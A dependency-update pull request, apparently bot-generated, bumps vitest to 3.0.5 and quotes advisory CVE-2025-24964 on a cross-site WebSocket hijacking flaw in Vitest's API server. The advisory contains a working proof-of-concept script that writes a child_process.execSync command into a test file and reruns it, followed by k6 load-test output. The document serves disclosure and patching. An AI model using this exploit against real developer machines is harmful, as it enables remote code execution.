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Update dependency vitest to v3.0.5 [SECURITY] #5374

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merged 1 commit into from
Feb 4, 2025

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This PR contains the following updates:

Package Type Update Change
vitest (source) devDependencies patch 3.0.4 -> 3.0.5

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v3.0.5

Compare Source

This release includes security patches for:

🚀 Features
🐞 Bug Fixes
View changes on GitHub

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@openverse-bot openverse-bot requested a review from a team as a code owner February 4, 2025 17:06
@openverse-bot openverse-bot added dependencies Pull requests that update a dependency file 💻 aspect: code Concerns the software code in the repository 🟨 tech: javascript Involves JavaScript 🟩 priority: low Low priority and doesn't need to be rushed 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🧱 stack: frontend Related to the Nuxt frontend labels Feb 4, 2025
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github-actions bot commented Feb 4, 2025

Latest k6 run output1

     ✓ status was 200

     checks.........................: 100.00% ✓ 400      ✗ 0   
     data_received..................: 94 MB   390 kB/s
     data_sent......................: 52 kB   217 B/s
     http_req_blocked...............: avg=50.75µs  min=2.32µs   med=4.72µs   max=7.23ms  p(90)=142.08µs p(95)=164.13µs
     http_req_connecting............: avg=37.65µs  min=0s       med=0s       max=6.96ms  p(90)=94.24µs  p(95)=113.7µs 
     http_req_duration..............: avg=159.6ms  min=15.66ms  med=112.63ms max=1.04s   p(90)=359.03ms p(95)=460.94ms
       { expected_response:true }...: avg=159.6ms  min=15.66ms  med=112.63ms max=1.04s   p(90)=359.03ms p(95)=460.94ms
   ✓ http_req_failed................: 0.00%   ✓ 0        ✗ 400 
     http_req_receiving.............: avg=163.85µs min=55.43µs  med=138.41µs max=1.52ms  p(90)=255.97µs p(95)=321.18µs
     http_req_sending...............: avg=24.09µs  min=8.47µs   med=22.34µs  max=79.59µs p(90)=37.32µs  p(95)=40.48µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s      p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=159.42ms min=15.55ms  med=112.38ms max=1.04s   p(90)=358.84ms p(95)=460.67ms
     http_reqs......................: 400     1.663094/s
     iteration_duration.............: avg=858.04ms min=283.39ms med=922.09ms max=1.76s   p(90)=1.11s    p(95)=1.45s   
     iterations.....................: 75      0.31183/s
     vus............................: 0       min=0      max=6 
     vus_max........................: 60      min=60     max=60

Footnotes

  1. This comment will automatically update with new output each time k6 runs for this PR

@obulat obulat merged commit 370c78c into main Feb 4, 2025
83 checks passed
@obulat obulat deleted the gha-renovatenpm-vitest-vulnerability branch February 4, 2025 18:04
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💻 aspect: code Concerns the software code in the repository dependencies Pull requests that update a dependency file 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🟩 priority: low Low priority and doesn't need to be rushed 🧱 stack: frontend Related to the Nuxt frontend 🟨 tech: javascript Involves JavaScript
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